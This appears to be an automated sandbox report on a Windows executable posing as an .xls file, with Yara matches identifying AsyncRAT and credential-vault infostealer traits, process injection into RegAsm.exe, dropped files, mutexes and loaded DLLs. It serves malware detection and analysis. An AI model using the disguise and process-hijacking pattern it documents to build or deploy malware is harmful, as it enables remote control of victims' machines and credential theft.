Windows Analysis Report
rDoc5633276235623657_xls.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.2.RegAsm.exe.6ad0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 2.2.RegAsm.exe.6ad0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000002.00000002.2652861730.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1784666277.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Code function: 0_2_02B02B28	0_2_02B02B28
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Code function: 0_2_02B011D8	0_2_02B011D8
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Code function: 0_2_02B02B21	0_2_02B02B21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_01334150	2_2_01334150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_01331030	2_2_01331030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0133E250	2_2_0133E250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_013394A0	2_2_013394A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_01333B57	2_2_01333B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_01339D70	2_2_01339D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0133DC29	2_2_0133DC29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0133BC50	2_2_0133BC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_01339158	2_2_01339158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_01331628	2_2_01331628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_066024E8	2_2_066024E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06605670	2_2_06605670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0666B408	2_2_0666B408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06661498	2_2_06661498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06660040	2_2_06660040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0666DB20	2_2_0666DB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06661488	2_2_06661488
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0666F558	2_2_0666F558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0666B3F8	2_2_0666B3F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0666A388	2_2_0666A388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06660022	2_2_06660022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06660F28	2_2_06660F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06660F18	2_2_06660F18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06684A18	2_2_06684A18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_066882D8	2_2_066882D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06681010	2_2_06681010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06681D48	2_2_06681D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06684A08	2_2_06684A08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_066882CA	2_2_066882CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_06680FFF	2_2_06680FFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0668B7A4	2_2_0668B7A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0668B810	2_2_0668B810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_066879C8	2_2_066879C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_066849D8	2_2_066849D8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 2044

Source: rDoc5633276235623657_xls.exe, 00000000.00000000.1768699604.0000000000982000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHSDSDF32.exe2 vs rDoc5633276235623657_xls.exe
Source: rDoc5633276235623657_xls.exe, 00000000.00000002.1783472169.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs rDoc5633276235623657_xls.exe
Source: rDoc5633276235623657_xls.exe, 00000000.00000002.1784666277.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekok.exe4 vs rDoc5633276235623657_xls.exe
Source: rDoc5633276235623657_xls.exe	Binary or memory string: OriginalFilenameHSDSDF32.exe2 vs rDoc5633276235623657_xls.exe

Source: rDoc5633276235623657_xls.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.2.RegAsm.exe.6ad0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 2.2.RegAsm.exe.6ad0000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000002.00000002.2652861730.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1784666277.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: rDoc5633276235623657_xls.exe, DyyVDbaRvM1YfIq9il.cs	Cryptographic APIs: 'CreateDecryptor'
Source: rDoc5633276235623657_xls.exe, DyyVDbaRvM1YfIq9il.cs	Cryptographic APIs: 'CreateDecryptor'
Source: rDoc5633276235623657_xls.exe, AesHelper.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/20@1/2

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rDoc5633276235623657_xls.exe.log

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\OeRWZLHs1gN7FCy5
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7008

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\tmpA7EC.tmp

Source: rDoc5633276235623657_xls.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: rDoc5633276235623657_xls.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: tmp1CCF.tmp.dat.2.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe "C:\Users\user\Desktop\rDoc5633276235623657_xls.exe"
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 2044
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32

Source: XClient.lnk.2.dr

LNK file: ..\..\..\..\..\XClient.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: rDoc5633276235623657_xls.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: rDoc5633276235623657_xls.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: rDoc5633276235623657_xls.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Windows\mscorlib.pdb source: RegAsm.exe, 00000002.00000002.2659153420.0000000005A5A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: RegAsm.exe, 00000002.00000002.2653222752.0000000001215000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\RegAsm.pdb source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbeTOT source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RegAsm.pdb source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2659308931.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, XClient.exe.2.dr
Source:	Binary string: mscorlib.pdbq source: RegAsm.exe, 00000002.00000002.2659153420.0000000005A5A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Numerics.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: HSDSDF32.pdbh source: rDoc5633276235623657_xls.exe
Source:	Binary string: System.Transactions.ni.pdbRSDSc source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\RegAsm.pdbH source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: mscorlib.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RegAsm.pdb4 source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, XClient.exe.2.dr
Source:	Binary string: \??\C:\Windows\RegAsm.pdbp( source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb8< source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: RegAsm.exe, 00000002.00000002.2659153420.0000000005A5A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Runtime.Serialization.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\RegAsm.pdb0(G source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdbRSDSg@h source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdbL} source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: oC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: RegAsm.exe, 00000002.00000002.2659153420.0000000005A5A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdb< source: WER8A2C.tmp.dmp.9.dr
